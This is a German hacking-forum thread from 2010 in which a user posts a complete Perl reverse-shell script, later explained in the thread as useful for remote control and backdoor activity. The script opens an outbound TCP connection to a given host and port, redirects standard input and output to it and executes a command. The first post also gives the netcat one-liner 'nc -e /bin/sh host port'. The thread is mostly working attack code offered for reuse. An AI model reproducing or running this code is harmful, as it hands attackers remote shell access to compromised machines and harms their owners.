#1 22. Juni 2010 Little Reverse Shell Ist vor kurzem entstanden, klar ginge auch $nc -e /bin/sh host port allerdings ist netcat nicht überall vorhanden.. Vondaher: Code: #!/usr/bin/perl #............................................................# # Reverse Shell 1.1 # # °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° # # + Command Execution # # + TCP Connection # # # # Usage: $ *.pl <host> <port> <command> # # Ex : $ *.pl 127.0.0.1 777 start # # # # < j0k3 > (c) fred777.5x.to # #............................................................# use strict; use warnings; use Socket; $|++; intro(); my ($addr,$port,$comm) = @ARGV; exit unless($addr && $port && $comm); my $proto = getprotobyname('tcp') || die "\nProtokoll: $!\n"; my $tar = inet_aton($addr); my $in_addr = sockaddr_in($port,$tar); print "\n[*] Create Socket\n"; socket(SERV, PF_INET, SOCK_STREAM, $proto) || die "\nSocket: $!\n"; connect(SERV,$in_addr) || die "\nConnect: $!\n"; print "[*] Create Shell\n"; if(!fork()) { open(STDIN, ">&SERV"); open(STDOUT,">&SERV"); exec ($comm); exit; } sub intro { print q { #............................................................# # Reverse Shell 1.1 # # -.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. # # # # + Command Execution # # + TCP Connection # # # # - $ shell.pl <host> <port> <command> # # # # < j0k3 > (c) fred777.5x.to # #............................................................# } } + Multi-Zitat Zitieren
#2 22. Juni 2010 AW: Little Reverse Shell Was ich noch sagen wollte, bevor pyro in Rampage verfallen ist (er hats mir nun erlaubt) :lol: Es wäre vielleicht nützlicher, wenn du genauer auf dein Programm eingehst, also was es ist und wozu es dient, wie es funktioniert. Quasi den Code näher an die User heran trägst, es gibt sicher viele die mit dem Begriff nichts anfangen können. Das ist (laut dem gepinnten Thread) die eigentliche Absicht dieses Bereiches. + Multi-Zitat Zitieren
#3 22. Juni 2010 AW: Little Reverse Shell Jop, kein Ding, also: Die Reverse Shell baut auf eine ausgehende TCP Verbindung auf, bzw. zum Zielsystem. Das ganze geschieht in Perl in meinem Script via Sockets. Sprich: Ich erstelle erstmal ein Socket mit den entsprechenden Modulen, näheres dazu in der Socket Header Dokumentation. Dann verbinde ich zum Ziel, was in dem Fall dann unser Host ist. Adresse und Port werden vorher in der Variablendeklarierung festgelegt. Solange jetzt die Verbindung besteht, leiten wir die Standardausgaben und -Eingaben an unsere Connection weiter, so etwa unsere 'exec' Zeile, welche den Output eines Befehls an uns weiterleitet. Sinnvoll z.B. bei einfachen Remotesteuerungen oder Backdooraktionen. Das sollte erstmal langen + Multi-Zitat Zitieren